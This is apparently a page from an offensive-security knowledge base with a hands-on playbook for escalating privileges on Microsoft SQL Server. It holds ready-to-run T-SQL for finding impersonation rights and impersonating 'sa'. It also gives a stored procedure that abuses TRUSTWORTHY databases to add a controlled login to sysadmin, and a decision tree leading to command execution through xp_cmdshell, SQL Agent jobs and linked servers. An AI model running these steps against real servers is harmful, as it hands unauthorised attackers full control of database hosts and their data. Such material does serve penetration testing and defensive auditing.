Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter II - Local / 05. SQL / MSSQL

Privilege Escalation

MSSQL privilege escalation usually comes from server roles, impersonation, TRUSTWORTHY databases, SQL Agent permissions, linked-server mappings, or unsafe feature enablement.


Fast Checks

SELECT SYSTEM_USER;
SELECT USER_NAME();
SELECT IS_SRVROLEMEMBER('sysadmin') AS is_sysadmin;
EXEC sp_helpsrvrolemember;

Configuration snapshot:

SELECT name, value_in_use
FROM sys.configurations
WHERE name IN ('xp_cmdshell','Ole Automation Procedures','clr enabled','external scripts enabled','cross db ownership chaining','Ad Hoc Distributed Queries');

Impersonation

EXECUTE AS allows a session to switch execution context to another login or user when IMPERSONATE permission exists.

Enumerate impersonation targets:

SELECT DISTINCT b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';

Alternative:

SELECT name
FROM sys.server_permissions
JOIN sys.server_principals ON grantor_principal_id = principal_id
WHERE permission_name = 'IMPERSONATE';

In mssqlclient.py:

enum_impersonate

Impersonate sa:

EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin') AS is_sysadmin;

Revert:

REVERT;

If impersonation gives sysadmin, move to RCE through xp_cmdshell, OLE, Agent, or CLR.


TRUSTWORTHY Databases

TRUSTWORTHY tells the SQL Server instance to trust code inside a database. This is dangerous when a database is owned by a high-privileged login and a lower-privileged user is db_owner inside that database.

Identify candidates:

SELECT a.name AS database_name, b.name AS owner, is_trustworthy_on
FROM sys.databases a
JOIN sys.server_principals b ON a.owner_sid = b.sid;

Find database role members:

USE DBNAME;
SELECT b.name AS role_name, c.name AS member_name
FROM DBNAME.sys.database_role_members a
JOIN DBNAME.sys.database_principals b ON a.role_principal_id = b.principal_id
LEFT JOIN DBNAME.sys.database_principals c ON a.member_principal_id = c.principal_id;

Check db_owner:

SELECT IS_ROLEMEMBER('db_owner') AS is_db_owner;

Escalation pattern when the database is trustworthy, owned by a sysadmin login, and we control db_owner:

USE DB_GOES_HERE;
GO

CREATE PROCEDURE dbo.make_sysadmin
WITH EXECUTE AS OWNER
AS
BEGIN
    EXEC master..sp_addsrvrolemember 'CONTROLLED_USER', 'sysadmin';
END;
GO

EXEC dbo.make_sysadmin;
GO

Modern alternative:

USE DB_GOES_HERE;
GO

CREATE PROCEDURE dbo.make_sysadmin
WITH EXECUTE AS OWNER
AS
BEGIN
    ALTER SERVER ROLE sysadmin ADD MEMBER [CONTROLLED_USER];
END;
GO

EXEC dbo.make_sysadmin;
GO

Verify:

REVERT;
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin') AS is_sysadmin;

Cleanup:

DROP PROCEDURE IF EXISTS dbo.make_sysadmin;

SQL Agent Escalation

Check Agent roles:

USE msdb;
SELECT dp1.name AS database_user, dp2.name AS database_role
FROM sys.database_role_members drm
JOIN sys.database_principals dp1 ON drm.member_principal_id = dp1.principal_id
JOIN sys.database_principals dp2 ON drm.role_principal_id = dp2.principal_id
WHERE dp2.name LIKE 'SQLAgent%';

High-value roles:

SQLAgentUserRole
SQLAgentReaderRole
SQLAgentOperatorRole

If job creation or job execution is permitted, use the SQL Agent job RCE pattern from the command execution note.


Cross-DB Ownership Chaining

Check:

SELECT name, value_in_use
FROM sys.configurations
WHERE name='cross db ownership chaining';

Pivot:

USE dbA;
SELECT * FROM dbB.sys.tables;

Cross-database ownership chaining can turn access in one database into access in another when ownership and chaining conditions line up.


Privilege Escalation Decision Tree

sysadmin already?
  enable/use RCE primitives

IMPERSONATE available?
  execute as stronger login
  re-check sysadmin

TRUSTWORTHY database + db_owner + high-priv owner?
  create EXECUTE AS OWNER module
  add controlled login to sysadmin

SQL Agent rights?
  create/run CmdExec or PowerShell job

linked server maps to sysadmin remotely?
  execute commands on linked server

service account hash captured?
  crack or relay if lab permits